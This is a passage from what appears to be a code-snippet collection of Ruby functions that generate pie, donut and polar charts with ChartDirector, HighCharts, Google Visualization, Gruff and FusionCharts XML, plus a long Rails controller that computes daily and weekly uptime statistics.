c.makeChart3().merge(c2.makeChart3(), 50, 90, ChartDirector::TopLeft, 0)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def pie_data_table\n @cols = [\n { :type => \"string\", :label => \"Favorite Dessert\" },\n { :type => \"number\", :label => \"Count\" }\n ]\n @rows = [\n { :c => [ {:v => \"Pie\"}, {:v => 100} ] },\n { :c => [ {:v => \"Cake\"}, {:v => 120} ] },\n { :c => [ {:v => \"Ice Cream\"}, {:v => 150} ] },\n { :c => [ {:v => \"Cookies\"}, {:v => 80 } ] }\n ]\n GoogleVisualr::DataTable.new(:cols => @cols, :rows => @rows)\nend", "def chart_responses\n chart = GoogleChart.pie_400x150([\"#{percentage_yes}% yes\", percentage_yes], [\"#{percentage_no}% no\", percentage_no])\n chart.colors = ['BCDEA5', 'E6F9BC']\n return chart\n end", "def show\n @pie_size = {\n :height => 400,\n :width => 400,\n options: {display: true}\n }\n \n pie = []\n color_counter = 0\n data = Answer.where(question_id: @question.id).group(:choice_identifier).count\n data.map {|k,v| pie << {value: v, \n color: Question::COLORS[color_counter].first, \n highlight: Question::COLORS[color_counter].last, \n label: k, \n display: true}; \n color_counter += 1 }\n @pie_data = pie.to_json\n end", "def getchart()\n # The data for the pie chart\n data = [18, 45, 28]\n\n # The labels for the pie chart\n labels = [\"Marble\", \"Wood\", \"Granite\"]\n\n # The icons for the sectors\n texture = [\"marble3.png\", \"wood.png\", \"rock.png\"]\n\n # Create a PieChart object of size 400 x 330 pixels, with a metallic green\n # (88EE88) background, black border and 1 pixel 3D border effect\n c = ChartDirector::PieChart.new(400, 330, ChartDirector::metalColor(0x88ee88),\n 0x000000, 1)\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set donut center at (200, 160), and outer/inner radii as 120/60 pixels\n c.setDonutSize(200, 160, 120, 60)\n\n # Add a title box using 15 pts Times Bold Italic font and metallic deep green\n # (008000) background color\n c.addTitle(\"Material Composition\", \"timesbi.ttf\", 15).setBackground(\n ChartDirector::metalColor(0x008000))\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Set the colors of the sectors to the 3 texture patterns\n c.setColor(ChartDirector::DataColor + 0, c.patternColor2(texture[0]))\n c.setColor(ChartDirector::DataColor + 1, c.patternColor2(texture[1]))\n c.setColor(ChartDirector::DataColor + 2, c.patternColor2(texture[2]))\n\n # Draw the pie in 3D with a 3D depth of 30 pixels\n c.set3D(30)\n\n # Use 12 pts Arial Bold Italic as the sector label font\n c.setLabelStyle(\"arialbi.ttf\", 12)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def make_pie_chart\n\t\trequire 'gruff'\n \t\ta = Sha.group(\"filetype\").count\n\n \t\tg = Gruff::Pie.new\n \t\tg.title = 'Filetypes'\n \n \t\ta.each do |key, value|\n \t\t puts g.data(key, a[key])\n \t\tend\n\n\t\t g.write('app/assets/images/pie.png')\n\tend", "def pie_chart_data\n response = api_request(:summary, {group_by: 'keywords'})\n results = extract_and_sort_results(response)\n\n total_other = results.drop(4).map {|row| row['total_calls']}.sum\n pie_segments = results.take(4)\n pie_segments << { \"key\" => \"Other\", \"total_calls\" => total_other }\n\n pie_segments.map { |segment| [segment['key'], segment['total_calls']] }\n end", "def beanplot\n end", "def show\n @chart = Chart.find(params[:id])\n @chartnodes = @chart.chartnodes\n data = @chart.chartnodes.map {|node| [node.xaxis, node.yaxis]}.transpose\n if @chart.charttype == 'column'\n @h1 = LazyHighCharts::HighChart.new('graph') do |f|\n f.title({ :text=> @chart.name})\n f.options[:xAxis][:categories] = data[0]\n f.series(:type=> 'column',:name=> @chart.name,:data=> data[1])\n end\n elsif @chart.charttype == 'spline'\n @h1 = LazyHighCharts::HighChart.new('graph') do |f|\n f.title({ :text=> @chart.name})\n f.options[:xAxis][:categories] = data[0]\n f.series(:type=> 'spline',:name=> @chart.name,:data=> data[1])\n f.plot_options( :spline => {\n :dataLabels => {\n :enabled => true\n }})\n f.tooltip( :crosshairs => true, :shared => true)\n end\n elsif @chart.charttype == 'pie'\n @h1 = LazyHighCharts::HighChart.new('pie') do |f|\n f.chart({:defaultSeriesType=>\"pie\" , :margin=> [50, 200, 60, 170]} )\n series = {\n :type=> 'pie',\n :name=> @chart.name,\n :data=> data.transpose\n }\n f.series(series)\n f.options[:title][:text] = \"Browser share\"\n f.legend(:layout=> 'vertical',:style=> {:left=> 'auto', :bottom=> 'auto',:right=> '50px',:top=> '100px'}) \n f.plot_options(:pie=>{\n :allowPointSelect=>true, \n #:cursor=>\"pointer\" , \n :dataLabels=>{\n :enabled=>true,\n :color=>\"black\",\n :style=>{\n :font=>\"13px Trebuchet MS, Verdana, sans-serif\"\n }\n }\n })\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chart }\n end\n end", "def simple_chart\n \n end", "def initialize(chart, options = {})\n @show_marker = false\n @marker_symbol = options[:marker_symbol] || :default\n @smooth = false\n @labels, @data = nil, nil\n super(chart, options)\n @labels = AxDataSource.new(data: options[:labels]) unless options[:labels].nil?\n @data = NumDataSource.new(options) unless options[:data].nil?\n end", "def write_pie_chart\n @writer.tag_elements('c:pieChart') do\n # Write the c:varyColors element.\n write_vary_colors\n # Write the series elements.\n @series.each {|s| write_series(s)}\n # Write the c:firstSliceAng element.\n write_first_slice_ang\n end\n end", "def pie(items)\n data = items.collect do |item|\n {:value => item[:value], :label => item[:label], :colour => item[:colour]}\n end\n self.push(:item => data)\n end", "def set_chart\n @chart = InformativeChart.new\n end", "def generate_piechartXML(*args)\n begin\n @color_hash=Hash.new\n @color_hash={\"0\"=>\"0C95BF\",\"1\"=>\"12C400\",\"2\"=>\"ECB800\",\"3\"=>\"EB2300\",\"4\"=>\"70808F\",\"5\"=>\"000000\",\"6\"=>\"800080\",\"7\"=>\"FFFF00\",\"8\"=>\"7FFFD4\",\"9\"=>\"0377CA\",\"10\"=>\"15C2F7\"}\n if @@flag==true\n #~ @@strXML = \"<chart decimals='2' defaultAnimation='0' use3DLighting='0' showPlotBorder='1' showShadow='0' plotGradientColor='0' showLabels='1' chartTopMargin='0' chartLeftMargin='0' chartRightMargin='0' chartBottomMargin='0' showValues='0' baseFontSize='12' isSliced='1' enableSmartLabels='1' bgColor='FFFFFF' showBorder='0' plotBorderThickness='0' startingAngle='80' canvasBorderColor ='cccccc' canvasBorderAlpha='0' canvasBorderThickness='0' showPercentageValues='1' pieRadious='100'>\" if args[2]=='Device_Summary' or args[2]==\"Carrier_Traffic\" \n puts \"hello\"\n p @@strXML = \"<chart decimals='2' defaultAnimation='0' use3DLighting='0' showPlotBorder='1' showShadow='0' plotGradientColor='0' showLabels='1' chartTopMargin='0' chartLeftMargin='0' chartRightMargin='0' chartBottomMargin='0' showValues='0' baseFontSize='12' isSliced='1' enableSmartLabels='1' bgColor='FFFFFF' showBorder='0' plotBorderThickness='0' startingAngle='80' canvasBorderColor ='cccccc' canvasBorderAlpha='0' canvasBorderThickness='0' showPercentageValues='1' pieRadious='100'>\" \n #~ @@strXML = \"<chart decimals='2' yAxisName='#{args[3].to_s=='ecpm' ? 'eCPM' : (args[3].to_s).upcase}' divLineColor='CCCCCC' numDivLines='2' alternateHGridColor='FFFFFF' anchorBorderColor='FFFFFF' defaultAnimation='0' use3DLighting='0' alternateVGridColor='FFFFFF' showPlotBorder='0' showShadow='0' plotGradientColor='' showLabels='1' chartTopMargin='10' chartLeftMargin='0' chartRightMargin='0' chartBottomMargin='10' showValues='0' canvasBorderColor ='FFFFFF' formatNumberScale='0' canvasBorderAlpha='0' canvasBorderThickness='0' pieRadious='100' baseFontSize='12' showBorder='0' plotBorderThickness='0' bgColor='FFFFFF' showPercentageValues='1' > \" if args[3]=='ctr' || args[3]=='ecpm'\n @@flag=false\n end\n colour=@color_hash[\"#{@@color_count}\"]\n limit = (args[3]=='ctr' || args[3]=='ecpm') ? 10 : 15\n args[0]=(args[0]=='' || args[0]==nil) ? 'could not detect' : args[0]\n puts \"---------------------34----------\"\n p @@strXML=@@strXML+ \"<set label='#{args[0]!=nil ? (truncate(args[0].split(\"'\")[0].to_s,limit)).gsub(/([&%])/) do|s| @@getsymbol[\"#{s}\"] end : 'NA' }' value='#{args[1].to_s}' color='#{(args[0].to_s=='Others') ? '000000' : colour.to_s}' />\" if args[3]!='ctr' and args[2]!='URL' and args[3]!='ecpm'\n puts \"---------------------35----------\"\n #~ @@strXML+=\"<set label='#{args[0].to_s.gsub(/([&%])/) do|s| @@getsymbol[\"#{s}\"] end}' value='#{args[1].to_s}' color='176D94'/>\" if args[3]=='ctr' || args[3]=='ecpm'\n @@color_count+=1\n rescue Exception=>e\n puts \"DEBUGGER :: ERROR :: in AdminXmlBuilder Component under generate_piechartXML method. The Error is #{e.to_s}\"\n end\n end", "def initialize(income_expense_report)\n init_chart_labels(income_expense_report)\n init_graphs(income_expense_report)\n #do_test()\n end", "def show\n @chart_data0 = make_chart_data(@progress.company_name,0)\n @chart_data1 = make_chart_data(@progress.company_name,1)\n @chart_data2 = make_chart_data(@progress.company_name,2)\n end", "def getchart()\n # The data for the chart\n data0 = [100, 100, 100, 100, 100]\n data1 = [90, 85, 85, 80, 70]\n data2 = [80, 65, 65, 75, 45]\n\n # The labels for the chart\n labels = [\"Population<*br*><*font=arial.ttf*>6 millions\",\n \"GDP<*br*><*font=arial.ttf*>120 billions\",\n \"Export<*br*><*font=arial.ttf*>25 billions\",\n \"Import<*br*><*font=arial.ttf*>24 billions\",\n \"Investments<*br*><*font=arial.ttf*>20 billions\"]\n\n # Create a PolarChart object of size 480 x 460 pixels. Set background color to\n # silver, with 1 pixel 3D border effect\n c = ChartDirector::PolarChart.new(480, 460, ChartDirector::silverColor(),\n 0x000000, 1)\n\n # Add a title to the chart using 15 pts Times Bold Italic font. The title text is\n # white (ffffff) on a deep green (008000) background\n c.addTitle(\"Economic Growth\", \"timesbi.ttf\", 15, 0xffffff).setBackground(0x008000)\n\n # Set plot area center at (240, 270), with 150 pixels radius\n c.setPlotArea(240, 270, 150)\n\n # Use 1 pixel width semi-transparent black (c0000000) lines as grid lines\n c.setGridColor(0xc0000000, 1, 0xc0000000, 1)\n\n # Add a legend box at top-center of plot area (240, 35) using horizontal layout.\n # Use 10 pts Arial Bold font, with silver background and 1 pixel 3D border effect.\n b = c.addLegend(240, 35, false, \"arialbd.ttf\", 10)\n b.setAlignment(ChartDirector::TopCenter)\n b.setBackground(ChartDirector::silverColor(), ChartDirector::Transparent, 1)\n\n # Add area layers of different colors to represent the data\n c.addAreaLayer(data0, 0xcc8880, \"Year 2004\")\n c.addAreaLayer(data1, 0xffd080, \"Year 1994\")\n c.addAreaLayer(data2, 0xa0bce0, \"Year 1984\")\n\n # Set the labels to the angular axis as spokes.\n c.angularAxis().setLabels(labels)\n\n # Set radial axis from 0 - 100 with a tick every 20 units\n c.radialAxis().setLinearScale(0, 100, 20)\n\n # Just show the radial axis as a grid line. Hide the axis labels by setting the\n # label color to Transparent\n c.radialAxis().setColors(0xc0000000, ChartDirector::Transparent)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The data for the chart\n data0 = [90, 60, 85, 75, 55]\n data1 = [60, 80, 70, 80, 85]\n\n # The labels for the chart\n labels = [\"Speed\", \"Reliability\", \"Comfort\", \"Safety\", \"Efficiency\"]\n\n # Create a PolarChart object of size 480 x 380 pixels. Set background color to\n # gold, with 1 pixel 3D border effect\n c = ChartDirector::PolarChart.new(480, 380, ChartDirector::goldColor(), 0x000000,\n 1)\n\n # Add a title to the chart using 15 pts Times Bold Italic font. The title text is\n # white (ffffff) on a deep blue (000080) background\n c.addTitle(\"Space Travel Vehicles Compared\", \"timesbi.ttf\", 15, 0xffffff\n ).setBackground(0x000080)\n\n # Set plot area center at (240, 210), with 150 pixels radius, and a white (ffffff)\n # background.\n c.setPlotArea(240, 210, 150, 0xffffff)\n\n # Add a legend box at top right corner (470, 35) using 10 pts Arial Bold font. Set\n # the background to silver, with 1 pixel 3D border effect.\n b = c.addLegend(470, 35, true, \"arialbd.ttf\", 10)\n b.setAlignment(ChartDirector::TopRight)\n b.setBackground(ChartDirector::silverColor(), ChartDirector::Transparent, 1)\n\n # Add an area layer to the chart using semi-transparent blue (0x806666cc). Add a\n # blue (0x6666cc) line layer using the same data with 3 pixel line width to\n # highlight the border of the area.\n c.addAreaLayer(data0, 0x806666cc, \"Model Saturn\")\n c.addLineLayer(data0, 0x6666cc).setLineWidth(3)\n\n # Add an area layer to the chart using semi-transparent red (0x80cc6666). Add a\n # red (0xcc6666) line layer using the same data with 3 pixel line width to\n # highlight the border of the area.\n c.addAreaLayer(data1, 0x80cc6666, \"Model Jupiter\")\n c.addLineLayer(data1, 0xcc6666).setLineWidth(3)\n\n # Set the labels to the angular axis as spokes.\n c.angularAxis().setLabels(labels)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def generate_piechartXML(*args)\n begin\n #color_hash is used to store default colors for pie-chart\n @aes = AESSecurity.new()\n @color_hash=Hash.new\n @keywordcolor_hash=Hash.new\n @pieRadius=\"pieRadius='100'\"\n @color_hash={\"0\"=>\"0C95BF\",\"1\"=>\"12C400\",\"2\"=>\"ECB800\",\"3\"=>\"EB2300\",\"4\"=>\"70808F\",\"5\"=>\"000000\",\"6\"=>\"800080\",\"7\"=>\"FFFF00\",\"8\"=>\"0377CA\"}\n if @@flag==true #checks whether the flag is true to add root xml element.\n @@strXML = \"<chart decimals='2' defaultAnimation='0' use3DLighting='0' showPlotBorder='1' plotGradientColor='' showShadow='0' showLabels='#{args[3]}' chartTopMargin='0' chartLeftMargin='0' chartRightMargin='0' chartBottomMargin='0' showValues='#{args[3]}' decimals='0' isSliced='0' enableSmartLabels='#{args[3]}' bgColor='FFFFFF' showBorder='0' plotBorderThickness='0' showPercentageValues='1' #{args[3].to_i==1 ? @pieRadius : \"\"} >\" if args[2]!='keywords'&& args[2]!='url' # this root xml element is used only for channel and handset pie-chart.\n @@flag=false #set flag as false\n end\n \n key='rh21nr8e0vav0h0v'\n iv='1pnee1ng36nuare8'\n getsymbol={\"&\"=>\"%7E\",\"%\"=>\"%25\"}\n args[0]=(args[0]=='' || args[0]==nil) ? 'Unknown' : args[0]\n #url_model=(args[2]=='handset') ? (args[0]!='Others' && args[0]!='Unknown') ? \"link='/#{args[4]}/publisher_handset_model%3Fhandset=#{args[0].to_s.gsub(/([&%])/) do|s| getsymbol[\"#{s}\"] end}'\" : \"\" : \"\"\n colour=@color_hash[\"#{@@color_count}\"] #get the color \n @@strXML+=\"<set label='#{args[0].to_s.gsub(/([&%])/) do|s| @@getsymbol[\"#{s}\"] end}' value='#{args[1].to_s}' color='#{colour.to_s}'/>\" if args[2]!='url'\n @@date_count+=args[1].to_i #increment the counter value\n @@XML_array[@@color_count]=[\"#{args[0]}\",args[1].to_i,colour,@@date_count] if args[2]!='handset_model' #store the label,value and color in the array \n @@color_count+=1\n \n rescue Exception=>e\n puts \"ERROR :: in ReportGenerator Component and generate_piechartXML method. The Error is #{e.to_s}\"\n end\n end", "def index\n # @dog_expenses = DogExpense.all\n @dog_expenses = DogExpense.order(charge_date: :desc)\n \n\n @colors = Charge.all.map{|c| [\"##{rand(0xffffff).to_s(16)}\"]}\n @colors2 = Charge.all.map{|c| [\"##{rand(0xffffff).to_s(16)}\"]}\n\n # @chart = LazyHighCharts::HighChart.new('pie') do |f|\n # f.chart({:defaultSeriesType=>\"pie\" , :margin=> [50, 50, 50, 50]})\n # f.series({type: 'pie',\n # name: 'Charge in USD',\n # data: Charge.all.map{|c| [\"#{c.name} - (#{c.dog_expenses.where(currency: 'USD').sum(:amount).to_f}) - (#{c.dog_expenses.where(currency: 'USD').size})\", c.dog_expenses.where(currency: 'USD').sum(:amount).to_f ]},\n # colors: @colors,\n # showInLegend: false,\n # center: [210,100],\n # size: 160\n # })\n # f.series({type: 'pie',\n # name: 'Charge in TW',\n # data: Charge.all.map{|c| [\"#{c.name} - (#{c.dog_expenses.where(currency: 'TW').sum(:amount).to_f}) - (#{c.dog_expenses.where(currency: 'TW').size})\", c.dog_expenses.where(currency: 'TW').sum(:amount).to_f]},\n # colors: @colors2,\n # showInLegend: false,\n # center: [800,100],\n # size: 160\n # })\n # f.options[:title][:text] = \"Expenses by USD & TW\"\n # f.legend(:layout=> 'vertical',:width => 220,:borderWidth => 0, align: 'center', verticalAlign: 'bottom') \n # f.plot_options(:pie=>{\n # :allowPointSelect=>true, \n # :cursor=>\"pointer\" , \n # :dataLabels=>{\n # :enabled=>true,\n # :color=>\"black\"\n # }\n # })\n # end\n\n respond_to do |format|\n format.html\n format.csv {send_data @dog_expenses.to_csv}\n format.xls\n end\n end", "def initialize(chart, options = {})\n @shape = :box\n @colors = []\n super(chart, options)\n self.labels = AxDataSource.new({ data: options[:labels] }) unless options[:labels].nil?\n self.data = NumDataSource.new(options) unless options[:data].nil?\n end", "def cm\n\n# Creating empty array:\n @pie_chart_data, @line_chart_data = [], []\n\n# Everything that comes after the << is added to the array of @pie_chart_data\n @pie_chart_data << { 'label' => ' ', 'value' => Cache.where(source: 'original').count }\n @pie_chart_data << { 'label' => ' ', 'value' => Cache.where(source: 'collamine').count }\n\n# Everything that comes after the << is added to the array of @line_chart_data\n @line_chart_data << { label: \"Original\", values: [ {time: Time.now.to_i, y: 0}, {time: Time.now.to_i, y: 0} ] }\n @line_chart_data << { label: \"Collamine\", values: [ {time: Time.now.to_i, y: 0}, {time: Time.now.to_i, y: 0} ] }\n\n# Counting the source field where it is from 'original'\n @uploads = Cache.where(source: 'original').count \n\n# Counting the source field where it is from 'collamine'\n @downloads = Cache.where(source: 'collamine').count \n\n# Counting the total documents in the database:\n @total = Cache.count\n\n# Extracting the url field from the database and limiting to display only 10 records:\n @url = Cache.desc(:created_at).limit(10).pluck(:url)\n\n# Extracting the DIFFERENT domain field from the database and limiting to display only 10 records:\n @domain = Cache.desc(:created_at).distinct(:domain).take(10)\n\n# Finding usage statistics on my system using usagewatch gem\n usw = Usagewatch\n @disk = usw.uw_diskused\n @memory = usw.uw_memused\n @cpu = usw.uw_cpuused\n @reads = usw.uw_diskioreads\n @writes = usw.uw_diskiowrites\n\n end", "def initialize chart_name, data, options = {}\n @current_scale = 1\n @chart_name = chart_name\n @data = data\n @options = options\n @max = 100\n end", "def getchart()\n # Data for the chart\n data0 = [5, 3, 10, 4, 3, 5, 2, 5]\n data1 = [12, 6, 17, 6, 7, 9, 4, 7]\n data2 = [17, 7, 22, 7, 18, 13, 5, 11]\n\n labels = [\"North\", \"North<*br*>East\", \"East\", \"South<*br*>East\", \"South\",\n \"South<*br*>West\", \"West\", \"North<*br*>West\"]\n\n # Create a PolarChart object of size 460 x 500 pixels, with a grey (e0e0e0)\n # background and 1 pixel 3D border\n c = ChartDirector::PolarChart.new(460, 500, 0xe0e0e0, 0x000000, 1)\n\n # Add a title to the chart at the top left corner using 15pts Arial Bold Italic\n # font. Use a wood pattern as the title background.\n c.addTitle(\"Polar Area Chart Demo\", \"arialbi.ttf\", 15).setBackground(\n c.patternColor(File.dirname(__FILE__) + \"/wood.png\"))\n\n # Set center of plot area at (230, 280) with radius 180 pixels, and white (ffffff)\n # background.\n c.setPlotArea(230, 280, 180, 0xffffff)\n\n # Set the grid style to circular grid\n c.setGridStyle(false)\n\n # Add a legend box at top-center of plot area (230, 35) using horizontal layout.\n # Use 10 pts Arial Bold font, with 1 pixel 3D border effect.\n b = c.addLegend(230, 35, false, \"arialbd.ttf\", 9)\n b.setAlignment(ChartDirector::TopCenter)\n b.setBackground(ChartDirector::Transparent, ChartDirector::Transparent, 1)\n\n # Set angular axis using the given labels\n c.angularAxis().setLabels(labels)\n\n # Specify the label format for the radial axis\n c.radialAxis().setLabelFormat(\"{value}%\")\n\n # Set radial axis label background to semi-transparent grey (40cccccc)\n c.radialAxis().setLabelStyle().setBackground(0x40cccccc, 0)\n\n # Add the data as area layers\n c.addAreaLayer(data2, -1, \"5 m/s or above\")\n c.addAreaLayer(data1, -1, \"1 - 5 m/s\")\n c.addAreaLayer(data0, -1, \"less than 1 m/s\")\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def set_pie\n @pie = PIE.find(params[:id])\n end", "def index\n \n @question = Question.find(params[:question_id])\n @performance = @question.performances\n @performances = @question.performances.order(:created_at).paginate(:page => params[:page], :per_page =>20)\n \n \n\n @detail=Detail.find_by(question_id: @question.id)\n @[email protected]\n @[email protected]\n @[email protected]\n @[email protected]_query\n @[email protected]_fail\n @[email protected]\n @fail=100-@availability\n\n \n #######For piechart ######\n @[email protected]('created_at >=?',DateTime.now.beginning_of_day.localtime).where('created_at <=?',DateTime.now.end_of_day.localtime).count\n @[email protected]('created_at >=?',DateTime.now.beginning_of_day.localtime-1.day).where('created_at <?',DateTime.now.beginning_of_day).count\n @[email protected]('created_at >=?',DateTime.now.beginning_of_day.localtime-2.day).where('created_at <?',DateTime.now.beginning_of_day.localtime-1.day).count\n @[email protected]('created_at >=?',DateTime.now.beginning_of_day.localtime-3.day).where('created_at <?',DateTime.now.beginning_of_day.localtime-2.day).count\n @[email protected]('created_at >=?',DateTime.now.beginning_of_day.localtime-4.day).where('created_at <?',DateTime.now.beginning_of_day.localtime-3.day).count\n @[email protected]('created_at >=?',DateTime.now.beginning_of_day.localtime-5.day).where('created_at <?',DateTime.now.beginning_of_day.localtime-4.day).count\n @[email protected]('created_at >=?',DateTime.now.beginning_of_day.localtime-6.day).where('created_at <?',DateTime.now.beginning_of_day.localtime-5.day).count\n @[email protected]('created_at >=?',Date.today.in_time_zone('Kuala Lumpur')-6.day).count\n @[email protected](responsetime: -1 ).where('created_at >=?',Date.today.in_time_zone('Kuala Lumpur')-6.day).count\n if @weeksuccess==0\n @weekAvailability=0\n else\n @weekAvailability=((@weeksuccess.round(2)[email protected](2))/@weeksuccess.round(2))*100\n end\n \n @[email protected]('created_at >=?',1.week.ago).count\n @[email protected]('created_at >=?',2.week.ago).where('created_at <=?',1.week.ago).count\n @[email protected]('created_at >=?',3.week.ago).where('created_at <=?',2.week.ago).count\n @[email protected]('created_at >=?',4.week.ago).where('created_at <=?',3.week.ago).count\n\n\n @[email protected](responsetime: -1 ).where('created_at >=?',DateTime.now.beginning_of_day).count\n @[email protected](responsetime: -1 ).where('created_at >=?',1.day.ago).where('created_at <=?',DateTime.now.beginning_of_day).count\n @[email protected](responsetime: -1 ).where('created_at >=?',2.day.ago).where('created_at <=?',1.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',3.day.ago).where('created_at <=?',2.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',4.day.ago).where('created_at <=?',3.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',5.day.ago).where('created_at <=?',4.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',6.day.ago).where('created_at <=?',5.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',1.week.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',2.week.ago).where('created_at <=?',1.week.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',3.week.ago).where('created_at <=?',2.week.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',4.week.ago).where('created_at <=?',3.week.ago).count\n\n\n\n if @success1==0\n @status1=0\n \n else\n \n @status1=((@success1.round(2)[email protected](2))/@success1.round(2))*100\n end\n\n if @success2==0\n @status2=0\n else\n @status2=((@success2.round(2)[email protected](2))/@success2.round(2))*100\n end\n\n if @success3==0\n @status3=0\n else\n @status3=((@success3.round(2)[email protected](2))/@success3.round(2))*100\n end\n\n if @success4==0\n @status4=0\n else\n @status4=((@success4.round(2)[email protected](2))/@success4.round(2))*100\n end\n\n if @success5==0\n @status5=0\n else\n @status5=((@success5.round(2)[email protected](2))/@success5.round(2))*100\n end\n\n if @success6==0\n @status6=0\n else\n @status6=((@success6.round(2)[email protected](2))/@success6.round(2))*100\n end\n\n if @success7==0\n @status7=0\n else\n @status7=((@success7.round(2)[email protected](2))/@success7.round(2))*100\n end\n\n if @success8==0\n @status8=0\n else\n @status8=((@success8.round(2)[email protected](2))/@success8.round(2))*100\n end\n\n if @success9==0\n @status9=0\n else\n @status9=((@success9.round(2)[email protected](2))/@success9.round(2))*100\n end\n\n if @success10==0\n @status10=0\n else\n @status10=((@success10.round(2)[email protected](2))/@success10.round(2))*100\n end\n\n if @success11==0\n @status11=0\n else\n @status11=((@success11.round(2)[email protected](2))/@success11.round(2))*100\n end\n\n #####################\n\n\n #####month###\n @[email protected]('created_at >=?',4.week.ago).count\n \n @[email protected](responsetime: -1 ).where('created_at >=?',4.week.ago).count\n #@monthAvailability=((@monthsuccess-@monthfail)/@monthsuccess)*100\n\n ####yesterday####\n @[email protected]('created_at >=?',Date.yesterday.in_time_zone('Kuala Lumpur')).where('created_at <=?',Date.today.in_time_zone('Kuala Lumpur')).average(:responsetime)\n if @yesterdayAV==nil\n @yesterdayAV=0\n end\n\n @[email protected]('created_at >=?',Date.yesterday.in_time_zone('Kuala Lumpur')).where('created_at <=?',Date.today.in_time_zone('Kuala Lumpur')).count(:responsetime)\n if @yesterdayTotal==nil\n @yesterdayTotal=0\n end\n\n @[email protected](responsetime: -1 ).where('created_at >=?',Date.yesterday.in_time_zone('Kuala Lumpur')).where('created_at <=?',Date.today.in_time_zone('Kuala Lumpur')).count\n if @yesterdayAV==nil\n @yesterdayAV=0\n end\n\n if @yesterdayTotal==0\n @yesterdayAvai=0\n else\n @yesterdayAvai=((@yesterdayTotal-@yesterdayFail)/@yesterdayTotal)*100\n end\n\n @[email protected]('created_at >=?',Date.yesterday.in_time_zone('Kuala Lumpur')).where('created_at <=?',Date.today.in_time_zone('Kuala Lumpur')).maximum(:responsetime)\n if @yesterdayHigh==nil\n @yesterdayHigh=0\n end\n\n @[email protected]('created_at >=?',Date.yesterday.in_time_zone('Kuala Lumpur')).where('created_at <=?',Date.today.in_time_zone('Kuala Lumpur')).where.not(responsetime: -1 ).minimum(:responsetime)\n if @yesterdayLow==nil\n @yesterdayLow=0\n end\n ####pastweek####\n \n @[email protected]('created_at >=?',13.day.ago).where('created_at <=?',12.day.ago).count\n @[email protected]('created_at >=?',12.day.ago).where('created_at <=?',11.day.ago).count\n @[email protected]('created_at >=?',11.day.ago).where('created_at <=?',10.day.ago).count\n @[email protected]('created_at >=?',10.day.ago).where('created_at <=?',9.day.ago).count\n @[email protected]('created_at >=?',9.day.ago).where('created_at <=?',8.day.ago).count\n @[email protected]('created_at >=?',8.day.ago).where('created_at <=?',7.day.ago).count\n @[email protected]('created_at >=?',7.day.ago).where('created_at <=?',6.day.ago).count\n\n @[email protected](responsetime: -1 ).where('created_at >=?',13.day.ago).where('created_at <=?',12.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',12.day.ago).where('created_at <=?',11.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',11.day.ago).where('created_at <=?',10.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',10.day.ago).where('created_at <=?',9.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',9.day.ago).where('created_at <=?',8.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',8.day.ago).where('created_at <=?',7.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at >=?',7.day.ago).where('created_at <=?',6.day.ago).count\n \n\n if @pastTotal1==0\n @pastAvai1=0\n else\n @pastAvai1=((@pastTotal1.round(2)[email protected](2))/@pastTotal1.round(2))*100\n end\n\n if @pastTotal2==0\n @pastAvai2=0\n else\n @pastAvai2=((@pastTotal2.round(2)[email protected](2))/@pastTotal2.round(2))*100\n end\n\n if @pastTotal3==0\n @pastAvai3=0\n else\n @pastAvai3=((@pastTotal3.round(2)[email protected](2))/@pastTotal3.round(2))*100\n end\n\n if @pastTotal4==0\n @pastAvai4=0\n else\n @pastAvai4=((@pastTotal4.round(2)[email protected](2))/@pastTotal4.round(2))*100\n end\n\n if @pastTotal5==0\n @pastAvai5=0\n else\n @pastAvai5=((@pastTotal5.round(2)[email protected](2))/@pastTotal5.round(2))*100\n end\n\n if @pastTotal6==0\n @pastAvai6=0\n else\n @pastAvai6=((@pastTotal6.round(2)[email protected](2))/@pastTotal6.round(2))*100\n end\n\n if @pastTotal7==0\n @pastAvai7=0\n else\n @pastAvai7=((@pastTotal7.round(2)[email protected](2))/@pastTotal7.round(2))*100\n end\n \n \n ###today### \n\n @[email protected]('created_at >=?',Date.today.in_time_zone('Kuala Lumpur')).where('created_at <=?',(Date.today+1.day).in_time_zone('Kuala Lumpur')).count\n @[email protected]('created_at >=?',Date.today.in_time_zone('Kuala Lumpur')).where('created_at <=?',(Date.today+1.day).in_time_zone('Kuala Lumpur')).average(:responsetime)\n @[email protected]('created_at >=?',Date.today.in_time_zone('Kuala Lumpur')).where('created_at <=?',(Date.today+1.day).in_time_zone('Kuala Lumpur')).maximum(:responsetime)\n @[email protected]('created_at >=?',Date.today.in_time_zone('Kuala Lumpur')).where('created_at <=?',(Date.today+1.day).in_time_zone('Kuala Lumpur')).where.not(responsetime: -1 ).minimum(:responsetime)\n @[email protected](responsetime: -1 ).where('created_at >=?',Date.today.in_time_zone('Kuala Lumpur')).where('created_at <=?',(Date.today+1.day).in_time_zone('Kuala Lumpur')).count\n if @todayTotal==0\n @todayAvai=0\n else\n @todayAvai=((@todayTotal.round(2)[email protected](2))/@todayTotal.round(2))*100\n 